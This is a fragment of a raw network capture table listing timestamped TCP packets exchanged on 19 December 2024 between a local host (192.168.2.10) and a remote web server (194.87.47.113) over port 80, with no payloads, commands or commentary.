Dec 19, 2024 08:21:26.540775061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.540822983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.540889025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.541173935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.541342974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.541347027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.541893959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.541939020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.542005062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.542625904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.542670012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.574362040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.574421883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.574460983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.574667931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.574760914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.574800968 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.575468063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.575615883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.575665951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.576234102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.576282978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.576322079 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.576898098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.577017069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.577054977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.577687025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.577852964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.577888966 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.578526974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.578538895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.578572989 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.586812973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.586990118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.587045908 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.587165117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.587351084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.587392092 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.588160992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.588185072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.588222027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.588779926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.588882923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.588931084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.589545012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.589674950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.589708090 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.590318918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.590426922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.590461016 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.591131926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.591226101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.591300964 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.629743099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.629827023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.629865885 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.630070925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.630161047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.630192995 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.630922079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.631009102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.631051064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.631664038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.631768942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.631822109 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.632428885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.632525921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.632575035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.633204937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.633304119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.633339882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.634036064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.634140968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.634179115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.634875059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.634906054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.634965897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.635679007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.635842085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.635889053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.636393070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.636557102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.637281895 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.637456894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.637520075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.637820959 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.638230085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.638309956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.638343096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.638936996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.639008045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.639060974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.639581919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.639677048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.639714956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.640748024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.640759945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.640840054 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.641098022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.641200066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.641239882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.641940117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.642044067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.642102957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.642750978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.642817974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.643498898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.643549919 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.643620014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.643657923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.644711971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.644948006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.646230936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.646275043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.646286011 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.646311998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.646699905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.646769047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.646941900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.647166014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.647270918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.647758961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.647819996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.647839069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.647875071 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.648601055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.648682117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.649223089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.649461985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.649552107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.649651051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.650475025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.650603056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.650672913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.651340961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.651426077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.651633024 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.651892900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.651947021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.652086973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.652472973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.652517080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.652563095 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.652976990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.653076887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.653143883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.653765917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.653848886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.653886080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.654561996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.654670954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.654776096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.655360937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.700735092 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.723416090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.723537922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.723575115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.723815918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.723910093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.723951101 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.724594116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.724684954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.724718094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.725469112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.732805967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.732867956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.732889891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.733160019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.733194113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.733197927 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.733938932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.733978033 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.734033108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.734802008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.734843969 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.766207933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.766237020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.766275883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.766577959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.766658068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.766693115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.767343044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.767458916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.767707109 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.768218040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.768266916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.768340111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.768945932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.768989086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.769866943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.769928932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.769953966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.770003080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.770632982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.770714998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.770766020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.779083967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.779149055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.779289007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.779361010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.779501915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.779994965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.780145884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.780281067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.780313015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.780971050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.781095028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.781148911 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.781754017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.781862974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.781908989 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.782553911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.782648087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.782685041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.783339024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.783395052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.783582926 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.822350025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.822422028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.822530031 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.822824001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.822860956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.822894096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.823498964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.823688030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.823729992 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.824420929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.824630022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.824670076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.825321913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.825504065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.826129913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.826173067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.826175928 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.826210976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.826734066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.826791048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.827159882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.827500105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.827641010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.827970982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.828265905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.828407049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.828447104 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.828905106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.828926086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.828974962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.829551935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.829670906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.830143929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.830408096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.830475092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.830512047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.830996990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.831146002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.831218004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.832371950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.832525969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.832571983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.832585096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.832607031 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.832637072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.833362103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.833456993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.833874941 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.834171057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.834220886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.834255934 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.834924936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.835038900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.835072994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.835690975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.835843086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.836503029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.836551905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.836612940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.836647034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.837430000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.837542057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.837764025 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.838105917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.838222027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.838255882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.838896990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.839015961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.839153051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.839668989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.839782953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.840174913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.840466976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.840508938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.840545893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.841294050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.841365099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.841442108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.842031002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.842174053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.842211008 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.842824936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.842902899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.843148947 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.843606949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.843728065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.843755960 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.844403982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.844517946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.844556093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.845220089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.845364094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.846000910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.846066952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.846096992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.846151114 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.846785069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.846805096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.847151995 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.847553015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.888236046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.915364981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.915486097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.915577888 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.915700912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.915972948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.916007996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.916064978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.916666031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.916821003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.916874886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.917486906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.917532921 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.924884081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.925056934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.925097942 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.925287008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.925415039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.925448895 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:26.926047087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.926142931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.926795959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:26.926840067 CET	49720	80	192.168.2.10	194.87.47.113
